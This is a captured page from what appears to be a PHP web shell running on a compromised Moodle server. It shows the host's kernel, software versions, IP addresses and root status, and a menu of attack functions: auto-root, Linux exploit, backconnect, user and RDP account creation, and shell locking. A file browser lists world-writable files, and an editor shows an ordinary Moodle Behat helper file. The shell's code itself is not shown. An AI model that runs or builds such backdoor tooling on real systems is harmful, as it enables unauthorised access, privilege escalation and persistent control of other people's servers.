Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxrwxrwx
features
[ DIR ]
drwxrwxrwx
form_field
[ DIR ]
drwxrwxrwx
behat_base.php
16.67
KB
-rwxrwxrwx
behat_field_manager.php
7.11
KB
-rwxrwxrwx
behat_files.php
9.46
KB
-rwxrwxrwx
lib.php
4.63
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_field_manager.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Form fields helper. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php. use Behat\Mink\Session as Session, Behat\Mink\Element\NodeElement as NodeElement; /** * Helper to interact with form fields. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_field_manager { /** * Gets an instance of the form field. * * Not all the fields are part of a moodle form, in this * cases it fallsback to the generic form field. Also note * that this generic field type is using a generic setValue() * method from the Behat API, which is not always good to set * the value of form elements. * * @param NodeElement $fieldnode * @param Session $session The behat browser session * @return behat_form_field */ public static function get_form_field(NodeElement $fieldnode, Session $session) { // Get the field type if is part of a moodleform. if (self::is_moodleform_field($fieldnode)) { $type = self::get_field_node_type($fieldnode, $session); } // If is not a moodleforms field use the base field type. if (empty($type)) { $type = 'field'; } return self::get_field_instance($type, $fieldnode, $session); } /** * Returns the appropiate behat_form_field according to the provided type. * * It defaults to behat_form_field. * * @param string $type The field type (checkbox, date_selector, text...) * @param NodeElement $fieldnode * @param Session $session The behat session * @return behat_form_field */ public static function get_field_instance($type, NodeElement $fieldnode, Session $session) { global $CFG; $classname = 'behat_form_' . $type; // Fallsback on the default form field if nothing specific exists. $classpath = $CFG->libdir . '/behat/form_field/' . $classname . '.php'; if (!file_exists($classpath)) { $classname = 'behat_form_field'; $classpath = $CFG->libdir . '/behat/form_field/' . $classname . '.php'; } // Returns the instance. require_once($classpath); return new $classname($session, $fieldnode); } /** * Detects when the field is a moodleform field type. * * Note that there are fields inside moodleforms that are not * moodleform element; this method can not detect this, this will * be managed by get_field_node_type, after failing to find the form * element element type. * * @param NodeElement $fieldnode * @return bool */ protected static function is_moodleform_field(NodeElement $fieldnode) { // We already waited when getting the NodeElement and we don't want an exception if it's not part of a moodleform. $parentformfound = $fieldnode->find('xpath', "/ancestor::form[contains(concat(' ', normalize-space(@class), ' '), ' mform ')]/fieldset"); return ($parentformfound != false); } /** * Recursive method to find the field type. * * Depending on the field the felement class node is in a level or in another. We * look recursively for a parent node with a 'felement' class to find the field type. * * @param NodeElement $fieldnode The current node. * @param Session $session The behat browser session * @return mixed A NodeElement if we continue looking for the element type and String or false when we are done. */ protected static function get_field_node_type(NodeElement $fieldnode, Session $session) { // We look for a parent node with 'felement' class. if ($class = $fieldnode->getParent()->getAttribute('class')) { if (strstr($class, 'felement') != false) { // Remove 'felement f' from class value. return substr($class, 10); } // Stop propagation through the DOM, if it does not have a felement is not part of a moodle form. if (strstr($class, 'fcontainer') != false) { return false; } } return self::get_field_node_type($fieldnode->getParent(), $session); } /** * Gets an instance of the form field. * * Not all the fields are part of a moodle form, in this * cases it fallsback to the generic form field. Also note * that this generic field type is using a generic setValue() * method from the Behat API, which is not always good to set * the value of form elements. * * @deprecated since Moodle 2.6 MDL-39634 - please do not use this function any more. * @todo MDL-XXXXX This will be deleted in Moodle 2.8 * @see behat_field_manager::get_form_field() * @param NodeElement $fieldnode * @param Session $session The behat browser session * @return behat_form_field */ public static function get_field(NodeElement $fieldnode, $locator, Session $session) { debugging('Function behat_field_manager::get_field() is deprecated, ' . 'please use function behat_field_manager::get_form_field() instead', DEBUG_DEVELOPER); return self::get_form_field($fieldnode, $session); } /** * Recursive method to find the field type. * * Depending on the field the felement class node is in a level or in another. We * look recursively for a parent node with a 'felement' class to find the field type. * * @deprecated since Moodle 2.6 MDL-39634 - please do not use this function any more. * @todo MDL-XXXXX This will be deleted in Moodle 2.8 * @see behat_field_manager::get_field_node_type() * @param NodeElement $fieldnode The current node. * @param Session $session The behat browser session * @return mixed A NodeElement if we continue looking for the element type and String or false when we are done. */ protected static function get_node_type(NodeElement $fieldnode, $locator, Session $session) { debugging('Function behat_field_manager::get_node_type() is deprecated, ' . 'please use function behat_field_manager::get_field_node_type() instead', DEBUG_DEVELOPER); return self::get_field_node_type($fieldnode, $session); } }
Close